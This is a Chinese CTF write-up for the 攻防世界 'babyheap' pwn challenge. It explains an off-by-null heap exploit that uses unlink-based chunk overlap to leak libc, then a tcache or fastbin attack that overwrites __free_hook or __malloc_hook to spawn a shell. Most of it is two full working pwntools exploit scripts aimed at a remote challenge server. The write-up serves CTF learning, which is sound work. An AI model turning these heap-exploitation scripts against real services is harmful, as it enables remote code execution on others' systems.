天天看點

攻防世界 pwn babyheap writeup分析libc2.27解法libc2.23解法

分析

這題題目中顯示是Wellcome To the 2.27 Heap World,而且隻能申請7個chunk,理論上應該是一道libc2.27 tcache的題,但因為在互動過程中觸發了fastbin的double free錯誤,是以攻防世界上應該是把這題部署在了libc2.23的環境中,但無所謂,下面libc2.27和libc2.23的解法都會給出。

libc2.27解法

首先我們要洩漏libc的位址,tcache肯定是無法洩漏libc的,是以我們考慮使用unsorted bin來洩漏,這題有off by null,沒有UAF。

然後由于create chunk的時候會在輸入的内容後面加一個\x00,是以即便chunk在unsorted bin裡踩出libc的位址也無法用show方法回顯,因為會被\x00截斷。

是以唯一的方法就是在create chunk之後想辦法把libc位址踩到data裡

是以考慮采用unlink攻擊構造重疊的chunk。這樣就可以得到兩個相同的chunk,其中一個在heap_list裡,另一個在unsorted_bin裡,unsorted_bin裡的那個副本會被踩出libc位址,這樣show的時候,heap_list中的那個chunk就會列印出libc的位址。

之後就很容易了,修改tcache中chunk的fd指向__free_hook,修改__free_hook為system就好了,然後free被寫入了"/bin/sh\x00"的chunk即可。

exp:

from pwn import *
#from LibcSearcher import *
import time

pe = "./timu"
arch = 'amd64'

context.update(arch=arch,os='linux',log_level='DEBUG')
context.terminal = ['tmux', 'splitw', '-h']
DEBUG = False
elf = ELF(pe)
if DEBUG:
    if arch=='amd64':
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    else:
        libc = ELF('/lib/i386-linux-gnu/libc.so.6')

    r = process(pe)

else:
    libc = ELF('./libc-2.23.so')
    r = remote('220.249.52.134',43623)
    
se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims                :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
ri      = lambda                    :r.interactive()
info_addr = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))

def debug(addr=0,PIE=True):
    time.sleep(1)
    if PIE:
        #text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(r.pid)).readlines()[1], 16)
        text_base = r.libs()[r.cwd + r.argv[0].strip('.')]
        chunk_bss = 0x202040
        if addr>0:
            print("breakpoint_addr --> " + hex(text_base + addr))
            gdb.attach(r,'b *{}\nset $a={}\n'.format(hex(addr),hex(text_base+chunk_bss)))
        else:
            gdb.attach(r,"set $a={}\n".format(hex(text_base+chunk_bss))) 
    else:
        print("breakpoint_addr --> " + hex(addr))
        gdb.attach(r,'b *{}\n'.format(hex(addr)))
        
    time.sleep(1)
        
def msg(msg,addr):
    log.warn(msg + "--> " + hex(addr))
    
'''
Your choice :
1
Size: 
40
Data: 
sdf
'''
def add(size,content=b"a\n"):
    sla("Your choice :\n","1")
    sla("Size: \n",str(size))
    if rc(4)==b'Data':
        sea(": \n",content)

    
'''
Your choice :
2
Index: 
0
'''
def free(idx):
    sla("Your choice :\n","2")
    sla("Index: \n",str(idx))
    
'''
Your choice :
3
0 : sdf
'''
def show():
    sla("Your choice :\n","3")
    

add(0x500)#0
add(0x600)#0,1
add(0x18)#0,1,2
add(0x500-0x10)#0,1,2,3 off by null
add(0x10)#0,1,2,3,4

free(0)#1,2,3,4
free(2)#1,3,4

pre_size = 0xb40
add(0x18,b'a'*0x10+p64(pre_size))#[0],1,3,4
free(3)#unlink #0,1,4

add(0x500)#pad #0,1,[2],4 #1副本->main_arena+96

show() #1會回顯libc中的位址

libc_base = u64(ru(b'\x7f')[-6:].ljust(8,'\x00'))-0x3ebca0
msg("libc_base",libc_base)

libc.address = libc_base

add(0x40)#0,1,2,[3],4 #重複->1
free(3)#0,1,2,4 [3/1]->tcache
free(1)#0,2,4 double free [3/1]
add(0x40,p64(libc.sym["__free_hook"]-0x8)+b"\n") #0,[1],2,4   tcache->free_hook-0x8
add(0x40)##0,1,2,[3],4 pad
add(0x40,b'/bin/sh\x00'+p64(libc.sym["system"])+b'\n')#0,1,2,3,4,[5]

free(5)

#debug()
ri()

           

libc2.23解法

libc2.23解法與上面類似,差別在于要使用fastbin attack實作有條件的位址修改,一般都是找到 ((void*)&__malloc_hook)-0x23 的位置,這裡剛好能僞造一個0x70的chunk。

然後在__malloc_hook的位置填上one_gadget的位址,那麼下次malloc的時候就會執行one_gadget得到shell,這裡問題在于有時所有one_gadget都不能用,這時可以觸發double_free,報錯時會清棧,然後malloc會被調用,進而滿足one_gadget的條件。

這裡最大的問題在于攻防世界給的libc是錯的,是以我們需要下載下傳不同的libc挨個嘗試,直到找到對的那個libc。

查詢libc可以用這個網站:

https://libc.blukat.me

結果大概就是下面這樣,double free報錯後get shell:

攻防世界 pwn babyheap writeup分析libc2.27解法libc2.23解法

exp:

from pwn import *
#from LibcSearcher import *
import time

pe = "./timu"
arch = 'amd64'

context.update(arch=arch,os='linux',log_level='DEBUG')
context.terminal = ['tmux', 'splitw', '-h']
DEBUG = False
elf = ELF(pe)
if DEBUG:
    if arch=='amd64':
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    else:
        libc = ELF('/lib/i386-linux-gnu/libc.so.6')

    r = process(pe)

else:
    libc = ELF('./libc6_2.23-0ubuntu10_amd64.so')
    r = remote('220.249.52.134',43623)
    
se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims                :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
ri      = lambda                    :r.interactive()
info_addr = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))

def debug(addr=0,PIE=True):
    time.sleep(1)
    if PIE:
        #text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(r.pid)).readlines()[1], 16)
        text_base = r.libs()[r.cwd + r.argv[0].strip('.')]
        chunk_bss = 0x202040
        if addr>0:
            print("breakpoint_addr --> " + hex(text_base + addr))
            gdb.attach(r,'b *{}\nset $a={}\n'.format(hex(addr),hex(text_base+chunk_bss)))
        else:
            gdb.attach(r,"set $a={}\n".format(hex(text_base+chunk_bss))) 
    else:
        print("breakpoint_addr --> " + hex(addr))
        gdb.attach(r,'b *{}\n'.format(hex(addr)))
        
    time.sleep(1)
        
def msg(msg,addr):
    log.warn(msg + "--> " + hex(addr))
    
'''
Your choice :
1
Size: 
40
Data: 
sdf
'''
def add(size,content=b"a\n"):
    sla("Your choice :\n","1")
    sla("Size: \n",str(size))
    if rc(4)==b'Data':
        sea(": \n",content)

    
'''
Your choice :
2
Index: 
0
'''
def free(idx):
    sla("Your choice :\n","2")
    sla("Index: \n",str(idx))
    
'''
Your choice :
3
0 : sdf
'''
def show():
    sla("Your choice :\n","3")
    

add(0x100)#0
add(0x60)#0,1
add(0x68)#0,1,2
add(0x100-0x10)#0,1,2,3 off by null
add(0x10)#0,1,2,3,4

free(0)#1,2,3,4
free(2)#1,3,4

pre_size = 0x110+0x70+0x70
add(0x68,b'a'*0x60+p64(pre_size))#[0],1,3,4
free(3)#unlink #0,1,4

add(0x100)#pad #0,1,[2],4 #1 double->main_arena+96

show()

addr = u64(ru(b'\x7f')[-6:].ljust(8,'\x00'))
main_arena = addr-88
malloc_hook = main_arena-0x10
libc_base = addr-0x3c4b78
msg("main_arena",main_arena)
msg("malloc_hook",malloc_hook)
msg("libc_base",libc_base)

libc.address = libc_base

add(0x60)#0,1,2,[3],4 #->1
add(0x60)#0,1,2,3,4,[5] #->0
free(3)#0,1,2,4,5 ->fastbin
free(5)#0,1,2,4
free(1)#0,2,4   #fastbin:0->1->0

add(0x60,p64(libc.sym["__malloc_hook"]-0x23)+b'\n')
add(0x60)
add(0x60)

one = 0xf02a4 #0xf0364
add(0x60,b'a'*0x13+p64(one+libc_base)+b'\n')

free(0)
free(3)


#debug()
ri()